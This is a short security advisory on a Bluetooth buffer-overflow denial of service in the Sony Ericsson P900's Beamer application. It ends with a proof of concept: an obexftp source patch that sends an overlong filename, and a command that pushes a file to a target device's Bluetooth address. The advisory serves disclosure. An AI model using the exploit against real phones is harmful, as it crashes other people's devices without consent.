source: http://www.securityfocus.com/bid/13782/info

Sony Ericsson P900 handset is affected by a remote denial of service vulnerability. This issue arises because the application fails to perform boundary checks prior to copying user-supplied data into a finite sized buffer.

The vulnerability presents itself in the Bluetooth-related Beamer application when handling a malformed file.

Sony Ericsson P900 handset is reportedly affected, however, other handsets such as Sony Ericsson P800 may be vulnerable as well. 

Create a malformed name using 'remotename' in 'obexftp_put_file' function of obexftp client.c:

---- snip ---
object = build_object_from_file (cli->obexhandle,localname, \
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
---- snip ---

Chose any existing file and send it using obexftp:
# ./obexftp -b 00:0A:D9:E7:0B:1D --channel 2 -p /etc/passwd -v